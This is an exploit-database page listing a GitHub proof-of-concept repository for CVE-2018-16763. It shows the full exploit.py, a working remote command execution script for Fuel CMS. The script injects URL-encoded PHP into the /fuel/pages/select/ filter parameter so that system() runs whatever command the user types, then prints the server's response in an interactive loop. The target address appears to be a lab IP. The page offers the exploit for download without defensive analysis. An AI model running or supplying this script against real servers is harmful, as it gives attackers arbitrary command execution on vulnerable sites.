Exploit database

GH-063a76fcaa3b2524c8817c3d6e91086e

h3x0v3rl0rd/cve-2018-16763

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-16763

26 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
h3x0v3rl0rd/cve-2018-16763Revision 89e95135f6d8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 763 bytes
#!/usr/bin/python3

import requests
import urllib.request, urllib.parse, urllib.error

url = "http://10.10.134.226/" #CHANGE THIS
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
        xxxx = input('cmd:')
        burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx)+"%27%29%2b%27"
        r = requests.get(burp0_url)

        html = "<!DOCTYPE html>"
        htmlcharset = r.text.find(html)

        begin = r.text[0:20]
        dup = find_nth_overlapping(r.text,begin,2)

        print(r.text[0:dup])